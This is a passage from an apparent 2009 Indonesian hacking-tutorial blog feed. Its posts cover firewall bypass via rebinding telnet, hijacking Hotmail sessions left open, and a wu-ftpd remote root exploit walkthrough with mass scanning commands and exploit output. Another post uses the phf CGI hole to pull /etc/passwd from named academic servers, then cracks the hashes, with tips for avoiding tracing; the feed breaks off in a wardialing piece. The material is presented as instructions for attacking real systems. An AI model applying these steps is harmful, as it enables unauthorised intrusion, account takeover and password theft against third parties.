/&gt;&lt;br /&gt;telnet 1069/tcp&lt;br /&gt;(atau port lain &gt;1024 pilihan anda).&lt;br /&gt;&lt;br /&gt;Cara ini akan membuka jalan telnet untuk masuk lewat port 1069 tanpa&lt;br /&gt;menghiraukan proteksi firewall. Tentu saja anda perlu mengulang inetd dan&lt;br /&gt;sebagainya, namun anda tidak perlu membunuh mail server anda. Cara ini&lt;br /&gt;tentu saja tidak terbatas ke penggunaan telnet biasa. Daemon-daemon&lt;br /&gt;seperti rsh, dan secure shell daemon bisa juga digunakan untuk menerima&lt;br /&gt;koneksi selain dari port defaultnya (ssh port 22).&lt;br /&gt;&lt;br /&gt;Nah, begitu dulu sedikit penjelasan ini. Pasti diantara anda banyak yang&lt;br /&gt;masih bingung atau masih mencari-cari jalan masuk ke mesin terlindung&lt;br /&gt;firewall tanpa akses fisik ke target. Saran penulis adalah agar anda&lt;br /&gt;mencoba-coba menjalankan program 'scanner' seperti nmap (tersedia di arsip&lt;br /&gt;kecoak). Jika kebetulan mesin target anda menjalankan web server, maka&lt;br /&gt;bisa juga anda coba bermain dengan port http (80), atau mencoba mencari&lt;br /&gt;kelemahan di cgi-bin nya. Teknik yang lebih sukar lagi adalah fragmentasi,&lt;br /&gt;dan penulis sendiri pun masih buta akan hal ini. Semoga artikel ini&lt;br /&gt;bermanfaat dan ada pembaca yang bisa mengembangkan teknik-teknik lebih&lt;br /&gt;baru lagi.&lt;br /&gt;&lt;br /&gt;-JiroKul&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-558464619555566402?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/558464619555566402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-bermain-dengan-firewall.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/558464619555566402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/558464619555566402'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-bermain-dengan-firewall.html' title='BELAJAR HACKING : Bermain dengan Firewall Default'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-3539655507150409575</id><published>2009-04-27T00:25:00.000-07:00</published><updated>2009-04-27T00:30:26.120-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HOTMAIL'/><title type='text'>BELAJAR HACKING : HackinG Hotmail</title><content type='html'>Tulisan ini dibuat untuk para pemula, dan mereka lainnya yang selalu&lt;br /&gt;pengen belajar.  Ini nih mah gak buat yang udah pengalaman yang udah tau.&lt;br /&gt;Kecuali emang lagi pengen baca. =-) &lt;br /&gt;&lt;br /&gt;Artikel ini berisi informasi mengenai Hotmail free internet based e-mail dan&lt;br /&gt;bagaiman untuk mendapatkan access ke semua account lainnya (Yah ... tidak&lt;br /&gt;semua sih =-P ).&lt;br /&gt;                &lt;br /&gt;==================&lt;br /&gt;==Latar Belakang==&lt;br /&gt;==================&lt;br /&gt;&lt;br /&gt;Hotmail adalah sebuah i-mil system berbasis web.  Yang cgi-bin sebagai&lt;br /&gt;sebuah gateway ke mesin-mesin lokal dimana semua password dan e-mail&lt;br /&gt;di simpan.&lt;br /&gt;Hotmail akan meminta kamu masukin login pada satu page dan password pada&lt;br /&gt;page lainnya, Nah ini yang jadi kunci pertama dari metode buat nge'hack.&lt;br /&gt;Ketika ada dalam account Hotmail, ada banyak pilihan, kayak reading mail,&lt;br /&gt;deleting mail, dll&lt;br /&gt;Nah pilihan terakhir adalah logout option, yang merupakan kunci kedua dari&lt;br /&gt;metode nembus-in. Untuk itu kamu mesti tau user name dari subject/victim.&lt;br /&gt;User name ini mah nama diawal tanda @ di alamat i-mil mereka, so&lt;br /&gt;mudah aja didapat. Kamu juga musti make browser yang bisa nampilin source&lt;br /&gt;code dari page yang sedang kamu liat. Yup, cuman itu yang dibutuhkan selain&lt;br /&gt;subject nya mesti bloon bener, entah lupa pa gak peduli buat logout&lt;br /&gt;sekali mereka udah masuk dalam system. Nah ini nih kunci buat&lt;br /&gt;nge'hacknya!!!!!!&lt;br /&gt;Pokoke gimana caranya supaya si-subject gak logout, terserah =-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===========&lt;br /&gt;==Caranye==&lt;br /&gt;===========&lt;br /&gt;&lt;br /&gt;Sekarang langkah-langkah buat nge-hacknya ......&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;langka1&lt;br /&gt;&lt;br /&gt;Langkah pertama adalah untuk mendapatkan username dari 'subject'&lt;br /&gt;trus buka web browser ke http://www.hotmail.com dan login dengan user name&lt;br /&gt;itu.&lt;br /&gt;Pasti-in kalo kamu udah bener nulis username soalnye hotmail gak bakalan&lt;br /&gt;ngasih tauk kalo kamu ngisinya gak bener, Hotmail akan me-log IP dari orang&lt;br /&gt;yang memasukkan nama login yang salah.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Langkah 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sekarang liat source code dari password page yang kamu masukin. Pada URL box&lt;br /&gt;browser kamu bakalan keliatan seperti ini -&gt;&lt;br /&gt;www.hotmail.com/cgi-bin/password.cgi&lt;br /&gt;Liat source codenya. Cari yang pada souce code page tersebut, yang kayak ini :&lt;br /&gt;&lt;br /&gt;form name="passwordform" action="URL" method="POST" target="_top"&lt;br /&gt;&lt;br /&gt;Nah itu tuh baris yang penting .... Nah ada sedikit cerita sedikit, sebelum&lt;br /&gt;gue dilanjutin.&lt;br /&gt;Sebelum ngasih tauk kamu bagaimana menggunakan satu baris tulisan pada source&lt;br /&gt;code tsb, Gue ceritain sedikit mengenai teori dibalik metode nge'hack ini.&lt;br /&gt;Soalnya 'gak ada artinya hacking, kalo kamu tidak tau bagaimana cara kerjanya.&lt;br /&gt;don'tItulah maksud utama dari hackin', buat nyari tau bagaimana cara kerja&lt;br /&gt;system.&lt;br /&gt;Nah jadi ..., ketika kamu login ke hotmail, gateway cgi-bin bakalan nandai&lt;br /&gt;bahwa kamu udah masuk ke systemnya.&lt;br /&gt;Jadi jika kamu gak logout, dan kamu cuman ninggalin page tersebut, atawa cuman&lt;br /&gt;matiin komputer-mu, system Hotmail 'gak tauk kalo kamu tuh udah 'cabut' dari&lt;br /&gt;account-mu.  Oke, kembali pada 'tujuan' semula.&lt;br /&gt;&lt;br /&gt;Action "URL" pada tulisan sebelumnya merupakan lokasi dari account username.&lt;br /&gt;Jadi setelah pemilik asli account udah loged in dan ngisi passwordnya&lt;br /&gt;dia bakalan masuk ke page yang bunyinya URL box-nya kayak gini :&lt;br /&gt;&lt;br /&gt;http://suatu-nomer/cgi-bin//start/username/suatu-nomer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//////////&lt;br /&gt;Langkah 3&lt;br /&gt;/////////&lt;br /&gt;&lt;br /&gt;Hmmmmm...funny thing, nomer tersebut merupakan nomer yang kita liat pada&lt;br /&gt;source code dari password page.&lt;br /&gt;Jadi setelah kamu punya URL box, kamu musti nulis itu pada URL box aja!!!!&lt;br /&gt;Kamu gak bisa buka page tersebut dengan open button, atau gunain open command&lt;br /&gt;karena ini intinya tulisan ini.  Jadi setelah kamu masuk  ke URL tersebut,&lt;br /&gt;pencet enter, dan liat aja hotmail bakalan ngasih kamu acces lengkap&lt;br /&gt;atas account dari subject Hotmail.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Perlu diingat kalo nge'hack begini CUMAN bisa bekerja hanya kalo pemilik&lt;br /&gt;account gak logout dari account-nya.&lt;br /&gt;Dan juga, tolong punya sedikit belas kasihan pada si bloon malang di ujung&lt;br /&gt;sana yang punya account, dan jangan menghapus pesan apapuns atau tindakan&lt;br /&gt;nge'rusak lainnya. Be happy aja soalnya kamu UDAH bisa access ke account tsb,&lt;br /&gt;abis itu tinggalin aja...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-3539655507150409575?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/3539655507150409575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-hacking-hotmail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/3539655507150409575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/3539655507150409575'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-hacking-hotmail.html' title='BELAJAR HACKING : HackinG Hotmail'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-2960669191732544069</id><published>2009-04-27T00:15:00.000-07:00</published><updated>2009-04-27T00:18:26.810-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='EXPLOIT'/><title type='text'>BELAJAR HACKING : Bagaimana Menggunakan (wu-ftpd) Remote EXploit  Script Kiddies</title><content type='html'>Bagaimana Menggunakan (wu-ftpd) Remote EXploit&lt;br /&gt;Script Kiddies&lt;br /&gt;&lt;br /&gt;Pemberitahuan :&lt;br /&gt;1. Artikel ini dimaksudkan untuk bahan pelajaran para admin dan siapa&lt;br /&gt;   saja yang ingin mengembangkan pengetahuan networking/internet mereka.&lt;br /&gt;2. Kecoak Elektronik tidak bertanggung jawab atas penyalah gunaan artikel&lt;br /&gt;   ini.&lt;br /&gt;3. Kecoak Elektronik tetap menyertakan dan tidak menghapus Nama Penulis&lt;br /&gt;   eksploit/script dengan harapan pembaca juga tetap menyertakan kredit&lt;br /&gt;   untuk mereka, jangan mengganti nama2 penulis artikel/eksploit/script&lt;br /&gt;   dengan nama anda dengan harapan nanti dianggap hacker.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Akhirnya! ... setelah lama menimbang2 saya memutuskan melepas artikel ini &lt;br /&gt;demi kejayaan para script kiddies ;P dan supaya script kiddies lainnya &lt;br /&gt;tidak merasa bahwa cuma mereka doang yang jagoan ... hehehe.&lt;br /&gt;&lt;br /&gt;Nah ... mulai darimana kita? ... mmm ... singkat saja remote exploit &lt;br /&gt;adalah program/eksploit yang jika dijalankan dari mesin kamu dengan &lt;br /&gt;sasaran server tertentu, akan mengakibatkan anda mendapatkan root shell &lt;br /&gt;di mesin/server sasaran yang berarti kamu mempunyai akses root dimesin &lt;br /&gt;tsb (asik ya?) ini yang disebut cracking (beberapa kiddie menyebutnya &lt;br /&gt;hacking ... tapi bukan itu namanya yg benar cracking ... hehehe) dan yang &lt;br /&gt;make eksploit itu disebut script kiddie :P~ &lt;br /&gt;BTW ... semua instruksi ini harus dijalankan di mesin linux/*nix.&lt;br /&gt;&lt;br /&gt;A. Mass Target Scanning&lt;br /&gt;Untuk bisa mendapatkan sasaran tentu saja kita harus punya daftar IP yang &lt;br /&gt;akan di crack ... ya kan? ... nah daftar IP itu bisa saja berupa kumpulan &lt;br /&gt;IP yang kamu sudah tahu atau punya teman2 kamu dan kamu simpan di satu &lt;br /&gt;file.&lt;br /&gt;Tapi untuk mudahnya kita bisa menggunakan program ADMz0ne dari ADM Crew &lt;br /&gt;untuk mendapatkan daftar IP yang kita inginkan.&lt;br /&gt;&lt;br /&gt;1. Download precompiled binary program z0ne dari site Kecoak&lt;br /&gt;2. Kalau anda download precompiled jangan lupa : ~$ chmod +x z0ne&lt;br /&gt;3. Misalnya kamu ingin dapat list IP dari &lt;br /&gt;   a. Phillipines (.ph) :&lt;br /&gt;      nohup ./z0ne -o ph &gt; ph.log &amp;&lt;br /&gt;   b. Site Commercial di Afrika Selatan&lt;br /&gt;      nohup ./z0ne -o co.za &gt; co.za.log &amp;&lt;br /&gt;   c. Dan lain-lain ... coba bereksperimen dengan domain&lt;br /&gt;   Note : nohup dan &amp; di awal dan akhir perintah adalah untuk &lt;br /&gt;   membackground proses scanning, ketik : man nohup kalo ingin tahu&lt;br /&gt;   lebih banyak.&lt;br /&gt;4. Untuk contoh ini misalnya anda berhasil mendapatkan list IP dari&lt;br /&gt;   Phillipines (.ph) dan disimpan di file ph.log&lt;br /&gt;   Isinya kira2 seperti berikut ini :&lt;br /&gt;   ~$ cat ph.log&lt;br /&gt;   210.23.230.195&lt;br /&gt;   210.23.234.33&lt;br /&gt;   210.23.234.65&lt;br /&gt;   210.23.230.193&lt;br /&gt;   203.167.64.2&lt;br /&gt;   203.167.64.3&lt;br /&gt;   ---dst---&lt;br /&gt;&lt;br /&gt;B. Scanning server yang mempunyai wufptd hole&lt;br /&gt;&lt;br /&gt;1. Download precompiled binary program wu-scan dari site Kecoak&lt;br /&gt;2. Atau anda bisa download source nya wu-scan.c kemudian compile:&lt;br /&gt;   gcc -o wu-scan wu-scan.c&lt;br /&gt;3. Kalau anda download precompiled jangan lupa : ~$ chmod +x wu-scan&lt;br /&gt;4. Scan IP list yang sudah didapat sebelumnya (ph.log)&lt;br /&gt;   nohup ./wu-scan ph.log &amp;&lt;br /&gt;5. Hasil akhirnya akan dituliskan di file wu-scan.log&lt;br /&gt;   Hasilnya kira2 seperti ini :&lt;br /&gt;&lt;br /&gt;   210.23.234.42: wu-2.6.0(1)&lt;br /&gt;   203.176.29.195: wu-2.6.0(1)&lt;br /&gt;   208.160.224.133: Vulnerable wu-2.6.0(1) running on RH 6.2&lt;br /&gt;&lt;br /&gt;   IP yang bisa di crack adalah yang ada tulisan Vulnerable blah ;)&lt;br /&gt;   Untuk mudahnya kamu bisa menaruh IP yg vulnerable di satu file lain&lt;br /&gt;   misalnya ph.vul&lt;br /&gt;   ~$ cat wu-scan.log | grep Vulnerable &gt; ph.vul&lt;br /&gt;&lt;br /&gt;C. Cracking ... let's party!&lt;br /&gt;&lt;br /&gt;1. Download precompiled binary program wuftpdsp dari site Kecoak&lt;br /&gt;2. Atau anda bisa download source nya wuftpdsp.c kemudian compile:&lt;br /&gt;   gcc -o wuftpdsp wuftpdsp.c&lt;br /&gt;3. Kalau anda download precompiled jangan lupa : chmod +x wuftpdsp&lt;br /&gt;4. Untuk me-remote exploit 208.160.224.133 ketik :&lt;br /&gt;   ./wuftpdsp -s0 -t 208.160.224.133&lt;br /&gt;&lt;br /&gt;--- ini yg akan keliatan di layar ---&lt;br /&gt;Target: 208.160.224.133 (ftp/&lt;shellcode&gt;): RedHat 6.2 (?) with wuftpd &lt;br /&gt;2.6.0(1) from rpm&lt;br /&gt;Return Address: 0x08075844, AddrRetAddr: 0xbfffb028, Shellcode: 152&lt;br /&gt;&lt;br /&gt;loggin into system..&lt;br /&gt;USER ftp&lt;br /&gt;331 Guest login ok, send your complete e-mail address as password.&lt;br /&gt;PASS &lt;shellcode&gt;&lt;br /&gt;230 Guest login ok, access restrictions apply.&lt;br /&gt;STEP 2 : Skipping, magic number already exists: [87,01:03,02:01,01:02,04]&lt;br /&gt;STEP 3 : Checking if we can reach our return address by format string&lt;br /&gt;STEP 4 : Ptr address test: 0xbfffb028 (if it is not 0xbfffb028 ^C me now)&lt;br /&gt;STEP 5 : Sending code.. this will take about 10 seconds.&lt;br /&gt;Press ^\ to leave shell&lt;br /&gt;blah ...&lt;br /&gt;uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)&lt;br /&gt;--- habis ---&lt;br /&gt;&lt;br /&gt;6. Kamu bisa coba beberapa perintah standar seperti ls :P~ di root shell&lt;br /&gt;   kamu yang baru, atau perintah lain yang agak bermanfaat ;) seperti&lt;br /&gt;   cat /etc/passwd dan cat /etc/shadow&lt;br /&gt;7. Dan seperti pesan nya tekan CTRL dan \ kalau ingin keluar dari root &lt;br /&gt;   shell (dan kembali ke shell di mesin kamu sendiri.&lt;br /&gt;8. Selain itu? kan ada trojan/backdoor dll, begitu mungkin kamu bertanya &lt;br /&gt;   ehm ... ikuti saja Script Kiddies Tutorial berikutnya dan menjauhlah &lt;br /&gt;   dari masalah ... OK?&lt;br /&gt;&lt;br /&gt;D. wu-ftpd eksploit lain.&lt;br /&gt;   Buat yang masih penasaran dengan hasil wuftpdsp, coba gunakan wu-ftpd&lt;br /&gt;   eksploitnya TESO Team - 7350wu&lt;br /&gt;   Cara pakainya kamu cari sendiri ... anggap saja PR.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-2960669191732544069?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/2960669191732544069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-bagaimana-menggunakan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/2960669191732544069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/2960669191732544069'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-bagaimana-menggunakan.html' title='BELAJAR HACKING : Bagaimana Menggunakan (wu-ftpd) Remote EXploit  Script Kiddies'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-7355454877795659532</id><published>2009-04-27T00:11:00.000-07:00</published><updated>2009-04-27T00:13:36.409-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>BELAJAR HACKING : INSTANT SHELL UNIX</title><content type='html'>Berikut adalah cara mendapatkan shell unix dalam waktu cepat buat kamu yang pingin belajar&lt;br /&gt;sambil praktek tapi nggak mampu beli/install UNIX dengan memanfaatkan eksploit yang udah&lt;br /&gt;cukup uzur cuman masih lumayan ampuh.&lt;br /&gt;&lt;br /&gt;Bahan-bahan yang diperlukan:&lt;br /&gt;&lt;br /&gt;- Web Browser (Netscape 3.0 disarankan karena cepat)&lt;br /&gt;- Program Cracker (gunakan crackerjack atau star cracker)&lt;br /&gt;- Daftar kata (Wordlist/Dictionary). Favorit gue sih GlobalKOS KOSdict.&lt;br /&gt;  Sekitar 11.2 MB uncompressed!&lt;br /&gt;- Komputer UMUM (yang nggak bisa di-trace) &lt;br /&gt;- Komputer nganggur (sekitar 6 jam untuk file passwd ukuran medium). untuk yang satu ini nggak&lt;br /&gt;  mesti umum punya sebab fungsinya hanya untuk meng-crack&lt;br /&gt;&lt;br /&gt;Prakteknya:&lt;br /&gt;&lt;br /&gt;- Jalankan browser di komputer umummu (perpustakaan, rental)&lt;br /&gt;- buka window baru (kita sebut window #2)&lt;br /&gt;- dari window lama (window #1) jalankan altavista&lt;br /&gt;- cari target-target potensial. Untuk yang satu ini penjelasan sedikit:&lt;br /&gt;&lt;br /&gt;Target yang paling empuk adalah site-site akademis. Paling lezat kalau site-site akademis tsb&lt;br /&gt;terletak di luar negeri. Paling yahud yang ada di negeri yahudi (israel) sebab Indonesia dan israel&lt;br /&gt;tidak punya hubungan diplomatik maupun perjanjian deportasi. JANGAN coba-coba mengehack server milik&lt;br /&gt;pemerintah Indonesia! Kalian nggak akan mendapat ampun! Nah, jika kamu sudah punya sesuatu dalam&lt;br /&gt;pemikiran, contoh: site-site akademis di israel (domain= ac.il) maka&lt;br /&gt;&lt;br /&gt;- di altavista, ada kolom yang berjudul "Search the web for ..." kamu isi&lt;br /&gt;  dengan: host:ac.il , lalu pilih "search"&lt;br /&gt;- altavista akan menampilkan daftar server server yang memenuhi kriteria search kamu. modifikasi&lt;br /&gt;  sekeinginan hati. contoh: Untuk mendapatkan daftar target dari domainnya universitas Tel Aviv,&lt;br /&gt;  ketik host:tau.ac.il kamu akan dapetin nama nama webserver yang ada di sono. jadi kira-kira&lt;br /&gt;  akan muncul webpage dari server yang namanya www.tau.ac.il, www.cs.tau.ac.il dll. kalo kamu ngisi&lt;br /&gt;  host:co.jp maka yang akan ditampilin adalah host-host komersial di jepang (dlsb)&lt;br /&gt;- pergilah ke Window #2. di kolom: "Location:" ketiklah:&lt;br /&gt;  http://nama.target.kamu/cgi-bin/phf?Qalias=x/bin/cat%20/etc/passwd&lt;br /&gt;  jangan lupa mengganti nama target dengan salah satu site yang terdapat di daftar sites kamu&lt;br /&gt;  dari window #1 contoh: &lt;br /&gt;  http://eris.wisdom.weizmann.ac.il/cgi-bin/phf?Qalias=x/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;  (percuma ngegunain host yang ada di contoh, file passwdnya kecil banget!)&lt;br /&gt;&lt;br /&gt;- Kemungkinan ada empat:&lt;br /&gt;   1. Error message ... (dalam kasus ini, maka cukup kembali ke daftar target dan coba&lt;br /&gt;      target berikutnya.&lt;br /&gt;   2. Smile, you're on candid camera! (dalam kasus ini, informasi mengenai kamu direkam, nomor&lt;br /&gt;      ip dicatat dan akan disimpan di server! Hati-hati sebab kamu udah di-log, dan bisa di-trace!&lt;br /&gt;      Karena itu pakailah kondom dan gunakan KOMPUTER UMUM! dalam kasus ini kamu cuman bisa&lt;br /&gt;      ngusep-ngusep dada aja, deh!)&lt;br /&gt;   3. muncul tulisan yang menyerupai bentuk dibawah:&lt;br /&gt;      root:*:0:0:System Administrator:/:/bin/csh&lt;br /&gt;      sysadm:*:1:1: Bokeph Memendez:/usr/adm:/bin/bash dll dll.&lt;br /&gt;&lt;br /&gt;perhatikan bahwa setelah tanda titik dua yang pertama, SELALU muncul tanda asterisk (*).&lt;br /&gt;ini artinya kamu berhasil mendapatkan file passwd hanya saja sayangnya sang file sudah di-shadow&lt;br /&gt;(nggak bisa dibaca oleh sembarang orang, perlu pangkat ROOT (tuhan) untuk ngebacanya!) Well, terpaksa&lt;br /&gt;lanjutkan ke daftar target berikutnya .... &lt;br /&gt;&lt;br /&gt;   4. muncul tulisan yang menyerupai bentuk dibawah:&lt;br /&gt;      root:OUk9b8RqMRVNs:0:0:root,,,,,,,:/:/bin/csh&lt;br /&gt;      sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh&lt;br /&gt;      diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh&lt;br /&gt;      leonid:F5AymuqmXVFCU:1399:8:Leonid Bebek:/usr/leonid:/bin/tcsh dll dll.&lt;br /&gt;&lt;br /&gt;(Dalam kasus ini : CREEET! Dapet deh tuh file passwd asli! tanpa shadow!)&lt;br /&gt;&lt;br /&gt;- Nah segera setelah file passwd didapatkan, "Save As" dan simpan di tempat yang aman!&lt;br /&gt;- Terserah boleh kalo mau lanjutin ke target berikut atau segera meng-crack&lt;br /&gt;- pastikan komputer untuk nge-crack aman dan bisa dibiarin nganggur selama berjamjam atau kalo&lt;br /&gt;  file passwdnya emang besar, berhari hari.&lt;br /&gt;- jalankan program crack, gunakan wordlist atas file passwd yang baru kamu panen.&lt;br /&gt;- kalo udah berhasil nge-crack, kamu udah siap untuk memakai shell unix 'baru' mu!&lt;br /&gt;  telnet aja ke servernya (jangan lupa pake komputer umum atau gunakan perlindungan (phreak dulu&lt;br /&gt;  teleponnya, login ke isp pake punya orang, dll!!!)). Isi dengan login dan passwd yang baru kamu&lt;br /&gt;  crack, silakan lihat-lihat sekitar. Kalo ada info menarik, jangan lupa dibagi-bagi!&lt;br /&gt;&lt;br /&gt;Jika kamu ingin mengeksploitasi, coba jalankan eksploit-eksploit yang ada untuk mendapatkan root!&lt;br /&gt;&lt;br /&gt;Gimana? Gampang khan? kalo enggak bisa, sih , kebangetan banget! Gitu dulu deh! Semoga ada manfaatnya!&lt;br /&gt;&lt;br /&gt;Catatan PENTING:&lt;br /&gt;JUNJUNGLAH ETIKA HACKER!!!! Jangan merusak!!! Jika kamu berhasil masuk (dan mendapatkan root).&lt;br /&gt;Jangan, sekali lagi JANGAN jalankan perintah/program apapun yang kamu tidak tahu apa efeknya.&lt;br /&gt;Pelajari bukumu, jalankan perintah-perintah sesuai petunjuk buku. JANGAN coba-coba menjalankan&lt;br /&gt;eksploit tanpa tahu asal usul maupun pengertian mendalam tentang UNIX. Tulisan ini gue tulis dengan&lt;br /&gt;maksud supaya kamu bisa mendapatkan sarana untuk belajar UNIX sebab gue percaya bahwa keinginan untuk&lt;br /&gt;belajar tidak sepantasnya dihalangi oleh faktor ekonomi.&lt;br /&gt;&lt;br /&gt;Catatan 1:&lt;br /&gt;File passwd yang kamu dapat masih dalam bentuk terenkripsi, jadi kalo&lt;br /&gt;dilihat:&lt;br /&gt;&lt;br /&gt;root:2/.,1wEYqm3m3Q:Root Account:/:/bin/csh&lt;br /&gt;| |&lt;br /&gt;nama account |&lt;br /&gt;password terenkripsi/tersandi&lt;br /&gt;&lt;br /&gt;cara kerja program cracker adalah kurang lebih seperti ini:&lt;br /&gt;&lt;br /&gt;1. baca kata #1 dari file kamus/wordlist&lt;br /&gt;2. enkripisi dengan algoritma DES&lt;br /&gt;3. baca baris 1 dari file passwd (account 1), baca nama account dan passwd terenkripsi&lt;br /&gt;4. bandingkan apakah kata#1terenkripsi = passwd1terenkripsi&lt;br /&gt;5. ya? beritahukan user/catat di log, tidak? baca baris2 file passwd, then.&lt;br /&gt;&lt;br /&gt;catatan 2:&lt;br /&gt;domain domain yang terkenal empuk:&lt;br /&gt;ac.jp (akademis jepang)&lt;br /&gt;ac.kr (akademis korea)&lt;br /&gt;.edu (akademis amrik)&lt;br /&gt;ac.uk (akademis inggris)&lt;br /&gt;go.kr (pemerintah korea)&lt;br /&gt;go.in (pemerintah india)&lt;br /&gt;ac.ir (akademis iran)&lt;br /&gt;com.il (komersil israel) dll dll.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-7355454877795659532?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/7355454877795659532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-instant-shell-unix.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/7355454877795659532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/7355454877795659532'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/belajar-hacking-instant-shell-unix.html' title='BELAJAR HACKING : INSTANT SHELL UNIX'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-7030922804779199075</id><published>2009-04-27T00:06:00.000-07:00</published><updated>2009-04-27T00:09:16.877-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SCAN'/><title type='text'>BELAJAR HACKING :Skanning Massal Bagian 1 (WarDialing)</title><content type='html'>Salah satu aspek yang paling menarik (dan seringkali menelan banyak waktu)&lt;br /&gt;dalam serangan terhadap suatu network adalah tahap "pencarian", atau&lt;br /&gt;pengenalan atas network tersebut. Artikel ini saya beri judul "Skanning"&lt;br /&gt;sebab saya tidak bisa menjumpai ekuivalen dari kata "scan" atau "probe"&lt;br /&gt;dalam bahasa Indonesia. "Scanning", sebagai metode untuk menemukan saluran&lt;br /&gt;komunikasi yang bisa dieksploit sebenarnya bukanlah barang baru. Ide&lt;br /&gt;pokoknya adalah untuk menelaah sebanyak mungkin saluran, dan menyimpan&lt;br /&gt;hasilnya (saluran yang bisa dieksploit, tergantung dari keperluan anda).&lt;br /&gt;Dalam bidang periklanan, hal ini adalah penyumbang terbesar dalam&lt;br /&gt;metodologi mereka (tebarkan iklan sebanyak mungkin, dan pasti ada aja&lt;br /&gt;seseorang yang bisa di-'eksploit' lebih lanjut) - termasuk "mass spamming"&lt;br /&gt;dan lain sebagainya.&lt;br /&gt;&lt;br /&gt;WarDialing&lt;br /&gt;----------&lt;br /&gt;"Scanning" memasuki dunia hacking/phreaking bersamaan dengan masuknya era&lt;br /&gt;sistem telepon terkomputerisasi. Coba saja bayangkan, kita sudah mempunyai&lt;br /&gt;sebuah jaringan global, semua bisa dicapai melalui nada dan kode telepon&lt;br /&gt;kita. Dan di sebuah lokal, bisa terdapat 